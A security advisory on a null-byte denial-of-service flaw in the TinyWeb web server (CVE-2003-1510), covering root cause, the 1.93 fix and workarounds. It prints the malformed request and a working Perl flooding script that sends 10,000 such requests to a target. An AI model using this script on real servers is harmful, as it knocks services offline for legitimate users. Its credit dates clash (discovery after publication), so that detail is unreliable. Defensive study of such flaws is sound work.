TinyWeb Denial of Service via Null Byte in cgi-bin Request (CVE-2003-1510)

Background

TinyWeb HTTP Server was developed by RITLABS S.R.L. (Moldova) in 1997 as a minimal Windows HTTP server. It runs as a silent background process with no GUI, no console, and no Windows Service. The server is written in Object Pascal and compiles to a single ~60KB executable.

Null byte injection is a well-known attack class (CWE-158) that exploits differences in how programming languages handle the null character (0x00). In C-based APIs (including the Windows API), null terminates strings. In Pascal, strings are length-prefixed, so null bytes are valid data. When a Pascal string containing a null byte is passed to a Windows API function like ExpandFileName() or CreateFileA(), the API truncates the string at the null, causing the path to resolve differently than the application expects.

In TinyWeb 1.9, the .%00. sequence in a cgi-bin path is URL-decoded to .\0. (dot, null, dot). This confuses the path resolution logic, causing the server to enter a CPU-intensive loop trying to resolve an ambiguous path. The Nessus scanner (plugin #11894) could detect this vulnerability remotely via banner checking.

Technical Details

Root Cause

When TinyWeb receives GET /cgi-bin/.%00./dddd.html, the URL-decoded path contains a null byte between two dots. The null byte causes Windows path resolution APIs to interpret the path differently than TinyWeb's Pascal string handling expects, resulting in a path that cannot be resolved normally. The server enters a CPU-consuming state trying to process the malformed path.

Attack Vector

GET /cgi-bin/.%00./dddd.html HTTP/1.0

A single request causes CPU consumption. The published Perl exploit (Exploit-DB #782) sends 10,000 such requests in a loop to fully exhaust server resources:

#!/usr/bin/perl
# TinyWeb 1.9 DoS - by karak0rsan
use IO::Socket;
for ($i = 0; $i < 10000; $i++) {
    $sock = IO::Socket::INET->new(
        PeerAddr => $ARGV[0], PeerPort => '80', Proto => 'tcp');
    print $sock "GET /cgi-bin/.%00./dddd.html HTTP/1.0\r\n\r\n";
    close($sock);
}

Impact

• CPU Exhaustion: Each malformed request consumes CPU time; repeated requests render the server unresponsive
• Service Unavailability: Legitimate users cannot access the web server during the attack
• No Authentication Required: Any network-reachable attacker can trigger the condition

Fix Applied in Version 1.93

TinyWeb v1.93 (June 3, 2004) added a null byte check in the path validation logic of WebServerHttpResponse() in SrvMain.pas. Any request containing a null byte (#0) in the path is immediately rejected with HTTP 403 Forbidden, before any path resolution occurs:

CZero := #0;
if (Pos(CZero, s) > 0) or (Pos(CDoubleDot, s) > 0) or
   (Pos(CSemicolon, s) > 0) or (Pos(CDotEncosed, s) > 0) or
   (Pos(CDoubleBackslash, s) > 0) then
begin
  Result := THttpResponseErrorCode.Create(403);
  Exit;
end;

The null byte check was added alongside the \.\ pattern check that fixes CVE-2004-2636 (path traversal). Both fixes share the same validation block.

Additionally, FileIsRegular() provides a second layer of defense by opening the file via CreateFileA() and calling GetFileType() to verify it is a regular disk file (FILE_TYPE_DISK). Paths truncated by null bytes would resolve to unexpected filesystem objects, which this check rejects.

Workarounds

• Place TinyWeb behind a reverse proxy (nginx, Apache, IIS ARR) that rejects null bytes in URLs. Most reverse proxies reject %00 by default.
• WAF rule to block requests containing %00 in URL paths.
• No TinyWeb configuration option exists to mitigate without upgrading.

Timeline

Credit

Vulnerability Discovery: Ziv Kamir (October 2003). Published on Beyond Security SecuriTeam on September 10, 2003.

Exploit Author: karak0rsan (Exploit-DB #782, February 1, 2005).

Fix Implementation: RITLABS S.R.L. (Maxim Masiutin). TinyWeb v1.93 released June 3, 2004.

Other TinyWeb CVEs